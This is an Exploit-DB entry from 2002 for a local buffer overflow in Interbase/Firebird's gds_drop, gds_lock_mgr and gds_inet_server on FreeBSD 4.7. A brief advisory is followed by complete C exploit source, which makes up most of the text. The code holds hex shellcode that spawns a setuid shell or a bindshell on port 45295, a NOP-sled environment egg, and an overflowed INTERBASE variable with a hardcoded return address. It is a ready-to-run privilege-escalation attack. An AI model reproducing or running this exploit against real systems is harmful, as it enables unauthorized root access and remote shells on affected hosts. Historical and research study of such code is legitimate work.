Exploit-DB #21566
Description: Interbase 6.0 - GDS_Drop Interbase Environment Variable Buffer Overflow (2)
Type: local
Platform: unix
Date: 2002-06-18
Author: bob

Exploit:
// source: https://www.securityfocus.com/bid/5044/info
 
Interbase is a database distributed and maintained by Borland. It is available for Unix and Linux operating systems.
 
A buffer overflow has been discovered in the gds_drop program packaged with Interbase. This problem could allow a local user to execute the program with strings of arbitrary length. By using a custom crafted string, the attacker could overwrite stack memory, including the return address of a function, and potentially execute arbitrary code.
 
Firebird is based on Borland/Inprise Interbase source code and is therefore also prone to this issue.

/* DSR-firebird.c by bob@dtors.net
   -------------------------------

Tested on: Firebird 1.0.2 FreeBSD 4.7-RELEASE

bash-2.05a$ ./DSR-firebird
( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )
( (                           by - bob@dtors.net ) )
----------------------------------------------------

Usage: ./DSR-firebird <target#>
Targets:
1. [0xbfbff75d] - gds_inet_server
2. [0xbfbff75c] - gds_lock_mgr
3. [0xbfbff75e] - gds_drop

www.dtors.net
bash-2.05a$

Thanks goto eSDee && ilja for helping me
with the gds_lock_mgr problems.

bob@dtors.net
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LOCK    "/usr/local/firebird/bin/gds_lock_mgr"
#define DROP    "/usr/local/firebird/bin/gds_drop"
#define INET    "/usr/local/firebird/bin/gds_inet_server"
#define LEN     1056

char dropcode[]=
        "\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
   "\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
   "\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

char inetcode[]=
        "\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
   "\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
   "\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";



char lockcode[]=
 "\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
 "\x39\xc3\x75\x06\x31\xc0\xb0\x01\xcd\x80"
 "\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" file://setuid[firebird] by bob
 "\x31\xc0\x31\xdb\x53\xb3\x06\x53" file://fork() bindshell by eSDee
 "\xb3\x01\x53\xb3\x02\x53\x54\xb0"
 "\x61\xcd\x80\x89\xc7\x31\xc0\x50"
 "\x50\x50\x66\x68\xb0\xef\xb7\x02"
      "\x66\x53\x89\xe1\x31\xdb\xb3\x10"
      "\x53\x51\x57\x50\xb0\x68\xcd\x80"
      "\x31\xdb\x39\xc3\x74\x06\x31\xc0"
      "\xb0\x01\xcd\x80\x31\xc0\x50\x57"
      "\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
      "\xdb\x50\x89\xe1\xb3\x01\x53\x89"
      "\xe2\x50\x51\x52\xb3\x14\x53\x50"
      "\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
      "\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
      "\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
      "\x39\xc3\x75\x44\x31\xc0\x57\x50"
      "\xb0\x06\xcd\x80\x31\xc0\x50\x56"
      "\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
      "\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
      "\x80\x31\xc0\x43\x53\x56\x50\xb0"
      "\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
      "\x2f\x73\x68\x68\x2f\x62\x69\x6e"
      "\x89\xe3\x50\x54\x53\x50\xb0\x3b"
      "\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
      "\x31\xc0\x56\x50\xb0\x06\xcd\x80"
      "\xeb\x9a";

char *decide(char *string)
{
    if(!(strcmp(string, "1")))
      return((char *)&inetcode);
    if(!(strcmp(string, "2")))
      return((char *)&lockcode);
    if(!(strcmp(string, "3")))
      return((char *)&dropcode);
    exit(0);
}

int main(int argc, char **argv)
{

 unsigned long ret = 0xbfbff743;

 char *selectcode;
 char buffer[LEN];
 char egg[1024];
 char *ptr;
 int i=0;



 if(argc < 2)
 {
  printf("( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )\n");
  printf("( (                           by - bob@dtors.net ) )\n");
  printf("----------------------------------------------------\n\n");
  printf("Usage: %s <target#> \n", argv[0]);
  printf("Targets:\n");
  printf("1. [0xbfbff743] - gds_inet_server\n");
  printf("2. [0xbfbff743] - gds_lock_mgr\n");
  printf("3. [0xbfbff743] - gds_drop\n");
  printf("\nwww.dtors.net\n");
  exit(0);
 }

 selectcode = (char *)decide(argv[1]);
   memset(buffer, 0x41, sizeof(buffer));

        ptr = egg;

        for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) = 0x90;
        for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode[i];
        egg[1024 - 1] = '\0';

        memcpy(egg,"EGG=",4);
        putenv(egg);

        memcpy(&buffer[1052],(char *)&ret,4);
        buffer[1056] = 0;

        setenv("INTERBASE", buffer, 1);

        fprintf(stdout, "Return Address: 0x%x\n", ret);
        fprintf(stdout, "Buffer Size: %d\n", LEN);
        fprintf(stdout, "Setuid [90]\n");

if(selectcode == (char *)&inetcode)
  {
 execl(INET, INET, NULL);
 return 0;
   }

if(selectcode == (char *)&lockcode)
  {
  printf("\nShell is on port 45295\nExploit will hang!\n");
 execl(LOCK, LOCK, NULL);
 return 0;
   }

if(selectcode == (char *)&dropcode)
  {
 execl(DROP, DROP, NULL);
 return 0;
   }


 return 0;
}